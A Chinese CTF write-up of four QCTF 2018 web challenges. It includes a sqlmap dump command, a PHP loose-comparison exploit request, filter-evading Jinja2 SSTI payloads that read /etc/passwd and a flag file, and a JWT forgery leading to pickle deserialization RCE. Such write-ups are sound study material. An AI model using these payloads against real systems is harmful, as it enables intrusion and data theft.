前言

玩了下QCTF的Web部分,非职业赛棍学到了不少的东西,Web部分同时感觉并不是很难,可能是因为同样是X-Man选拔赛的原因,Web,RE,Misc等考点比较全面,ORZ。写的时候赛题已经关闭,但还是尽量写清楚。


NewsCenter

嗯,签到题,搜索框的POST参数存在注入,抓包如下:

0180720120135.png

保存到1.txt,扔进SQLMAP。

python sqlmap.py -r 1.txt --threads 5 --level 3 -D "news" -T "secret_table" --dump

直接跑出FLAG 

1.png




Lottery

这个题目的思路很简单,直接购买FLAG就行,没错,有钱就是可以为所欲为…… ORZ

扫描后发现.git目录,直接使用dvcs-ripper工具进行还原

./rip-git.pl -m -o /root/dvcs-ripper-master/ -v -u http://47.96.118.255:8888/.git/


得到源代码后进行审计,找到问题的处理函数

function buy($req){
   require_registered();
   require_min_money(2);
   $money = $_SESSION['money'];
   $numbers = $req['numbers'];
   $win_numbers = random_win_nums();
$same_count = 0;
   for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
       case 2:
           $prize = 5;
break;
case 3:
$prize = 20;
           break;
       case 4:
           $prize = 300;
break;
case 5:
$prize = 1800;
           break;
       case 6:
           $prize = 200000;
break;
case 7:
$prize = 5000000;
           break;
       default:
           $prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

我们要增加我们的金币,就需要在switch/case这里选择靠后开关,

case 7:   $prize = 5000000;   break;这里会被写入我们用于存储金币session中$money += $prize - 2;$_SESSION['money'] = $money;$same_count生成的时候,这里使用了==存在弱类型比较for($i=0; $i<7; $i++){if($numbers[$i] == $win_numbers[$i]){$same_count++;   }}
我们直接利用true让if的判断表达式返回值一直为真
<?phpfunction random_num(){   do {       $byte = openssl_random_pseudo_bytes(10, $cstrong);       $num = ord($byte);   } while ($num >= 250);   if (!$cstrong) {       response_error('server need be checked, tell admin');   }   $num /= 25;   return strval(floor($num));}function random_win_nums(){   $result = '';   for ($i = 0; $i < 7; $i++) {       $result .= random_num();   }   return $result;}echo random_win_nums() == true; //true

后直接修改发送请求的内容,就能有足够的钱购买FLAG,为所欲为。。。。

{"action":"buy","numbers":[true,true,true,true,true,true,true]}


Confusion1

confusion1的描述

One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)


进入题目后,把里面的东西都点了点,发现是一个和描述一样的网站,功能不全,点击登陆和注册都是404。 

404的页面会把不存在的页面路径作为提示输出在页面,首先想到XSS,但没找到XSS提交点。 

还发现了网页注释提示Flag藏在服务器目录下,那这就不该是XSS。

<!--/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->
<!--/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt-->

然后网页正中间的图片是蟒蛇缠着大象,那这个题目应该就是和Python有关。 

404页面 + Python 很容易就联想到 Flask jinja injection(SSTI)。 

于是做了一个测试{% raw %} {{ 12 }} {% endraw %} ,发现页面的提示输出变成了12,这里已经可以确定是SSTI。

以前就有类似的题目,直接用以前的Payload

{% raw %} {{ ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read() }} {% endraw %}


发现存在简单的过滤,过滤了__class__,__subclasses__,read等关键字 

这里我们可以将过滤的属性名变为参数拼接起,就能绕过过滤。 

于是我编写了Payload

{% raw %} {{ getattr(getattr(getattr(getattr((), '__cl' + 'ass__'), '__bases__')[0], '__sub' + 'classes__')()[40]('/etc/passwd', 'r'),'r' + 'ead')() }} {% endraw %}


本地测试通过,能够成功读取文件,但是发现这个题目很奇怪发现是500。 

卡了很久,后面发现是getattr函数选择上出现了错误。 

当输入{% raw %} {{ geattr }} {% endraw %}后,页面并没有返回<built-in function getattr>信息 

题目应该是删除或者过滤了这个函数。

这我们就选择__getattribute__,输入{% raw %} {{ (). __getattribute__ }} {% endraw %},成功返回信息

<method-wrapper '__getattribute__' of tuple object at 0x0000000005057378>


修改Payload如下,成功获取FLAG

{% raw %}{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt','r').__getattribute__('r'+'ead')()}} {% endraw %}


这需要注意的是第三个__getattribute__函数是需要传入两个参数的__getattribute__(object,attribute) 

其实这个函数本身就有两个参数,当我们通过(). __getattribute__这种指定对象的方式调用的时候object为self并且自动传入函数, 但是当我们使用__base__基类对象进行调用__getattribute__的时候就需要指定object



Confusion2

confusion2的描述

Finally Alice finished her website and published it, but I find something STRANGE when Alice said hello to me.
PS: Alice said she likes add salts when she was cooking.
hint:Alice likes adding salt at the LAST.


首先是注册和登陆,有个常规验证码,直接跑出来

$i = 0;
for ($i; $i < 100000000; $i++) {
   if (substr(md5($i), 0, 6) == '5bc395') {
       echo $i;
       exit();
   }
}


注册后登陆

GET /index.php HTTP/1.1
Host: 47.96.118.255:23333
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.96.118.255:23333/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=42a53fff-6354-45a3-afcd-c922f2c0d5ba; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg
Connection: close


发现Cookie里面存在一个token的键,并且键值为JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg


Decode后如下图 

2.png


这里比较关键的是生成签名的算法并非标准的JWT算法HS256 ES256等,而是使用的sha256,卡了好久。 

以为header里面的"alg": "sha256"只是单纯的改了而已

这里还有就是要用到上面的salt文件的提示,这个文件里存储着salt,值为_Y0uW1llN3verKn0w1t_。 

根据这个题目的提示我们可以知道这个salt的位置为最后 

第三部分的签名生成格式如下,那么我们就可以伪造JWT了

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString +  '_Y0uW1llN3verKn0w1t_');


再看看Payload的内容

{
 "data": "O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}"
}


data的键值字符串是一串php序列化的字符串

O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}


User类,包含user_data这个属性,属性的值为,长度为60

(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.


这个值是Python序列化的字符串

>>> import pickle
>>> pickle.loads("(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.")
[u'Rai4over', 'e10adc3949ba59abbe56e057f20f883e']

这里我们直接联想到Python反序列化的RCE,这里不再赘述。 

我们首先构造好Python的RCE的字符串然后,放进PHP的序列化的字符串里面,然后直接根据上文JWT算法算出对应的签名,替换Cookie,就能执行任意命令,Flag通过HTTP外带出来就行了。


最后

感谢指点的各位大师傅。博客:http://www.rai4over.cn/2018/07/16/Web-QCTF-WrtieUp-2018/

源链接

Hacking more

...